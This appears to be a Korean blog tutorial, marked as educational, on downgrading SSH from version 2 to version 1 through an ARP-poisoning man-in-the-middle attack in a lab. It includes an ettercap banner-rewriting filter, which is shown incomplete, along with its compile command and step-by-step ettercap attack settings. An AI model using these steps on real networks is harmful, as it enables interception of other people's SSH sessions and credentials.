본문 바로가기

IT

SSH MITM 공격 (SSH downgrade 공격)

** 아래 포스팅은 교육적인 목적으로 작성되었습니다. 함부로 이용하는 경우 법적인 문제가 발생할 수 있습니다. 


SSH MITM 공격 (Ver.1 downgrade 공격)


1. 개요 

대부분의 서버 관리자는 서버 보안 접속을 위해서 SSH를 사용하여 접속합니다. 


그런데, SSH Version 1은 키를 노출시키는 문제가 있어서 보안성이 낮아서 

요즘은 SSH Version 2로 사용하고 있는데, SSH Version 2를 쓰는 사용자에게 다운그레이드 공격을 통해서 Version 1로 다운그레이드 하는 공격을

소개합니다.  


2. 공격 시나리오 


arp poisoning 공격을 통해서 서버와 클라이언트간의 통신에 끼어 들어서 

중간에 데이터를 가로채는 방법을 통해서 해당 공격을 성사시킵니다. 


준비물 : Kali linux(이하 해커), 클라이언트 Victim (Windows 7 with putty - 이하 Vic C), 서버 Victim (Centos Server with SSH 이하 Vic S)


가. 평상시 환경 

    Vic C <==============================> Vic S  원활한 통신 진행


나. 공격 환경

    Vic C <===========> 해커 <===========> Vic S  원활한 통신 진행


3. 공격 방법 


해커 (Kali linux)에서 다음 작업을 진행합니다. 


가. filter를 확인하고 컴파일 하겠습니다. 


아래 첨부한 소스를 보면, 방법을 어느정도 이해할 수 있는데요, 

1) SSH가 2.0으로만 통신하게 되어 있는 경우에는 통신을 차단시키고,  

2) SSH가 1.0, 2.0 다 접속할 수 있게 되는 경우 1.0으로 접속할 수 있게 하고, 

3) 1.0을 접속하는 경우 정상적으로 통신할 수 있게 합니다. 

if (ip.proto == TCP) { 

if (tcp.src == 22) { 

if ( replace("SSH-1.99", "SSH-1.51") ) { 

msg("[SSH Filter] SSH downgraded from version 2 to 1\n"); 

} else { 

if ( search(DATA.data, "SSH-2.00") ) { 

msg("[SSH Filter] Server supports only SSH version 2\n"); 

} else { 

if ( search(DATA.data, "SSH-1.51") ) { 

msg("[SSH Filter] Server already supports only version 1\n"); 

}



cd /usr/share/ettercap

etterfilter -o ssh.co etter.filter.ssh



ssh.co 라는 binary가 생성됩니다. 


나. 이제 ettercap을 실행합니다. 


# ettercap -G


하면 다음과 같은 창이 나옵니다. 

그러면, Unified sniffing을 선택합니다. 



kali linux가 현재 eth0로 통신하고 있으므로, eth0를 선택합니다. 


다. 주위에 Host가 어떤 것이 있는지 확인합니다. Host -> Scan for hosts 


다. 목표시 되는 서버와 클라이언트를 확인합니다. 클라이언트를 선택하고, "Add to Target1"을 누르고, 서버를 선택하고, "Add to Target 2"를 선택합니다. 


라. Targets => Current Target을 선택하면, 다음과 같이 나옵니다. 



마. 이제 준비가 거의 되었네요. 필터를 적용합니다. Filters -> Load a filter


하고서, 아까 컴파일한 파일을 선택합니다. 


바. MITM -> Arp poisoning을 선택합니다. 



사. Start -> Start sniffing을 선택합니다. 


그러면 하단에 메시지가 나오는데요, "Starting unified sniffing..." 하면서 스니핑이 시작됩니다. 


현재 서버에서는 Version 2.0, 1,0 둘 다 사용이 가능하도록 설정되어 있는데요, 


# vi /etc/ssh/sshd_config


15줄에 보면, Protocol이 2,1 이 되어 있습니다. 










4. 공격 결과 


Putty를 열고, 서버 주소를 입력한 다음, SSH 항목에 "2 only" - Version 2만 오직 사용하겠다는 의미 - 를 체크하고, 

Open을 하면, 다음과 같은 오류가 발생합니다. 이 공격을 실행하기 전에는 문제가 없었는데, 공격이 진행되고 나서는

다음과 같이 오류가 발생합니다. 




끄고 2only로 접속하면 접속이 잘 됩니다. 이제 세션 키를 뽑아서 패킷을 열어 볼 수 있습니다. 이 부분까지 알려 드리면, 정말 위험하므로... 여기까지.. ^^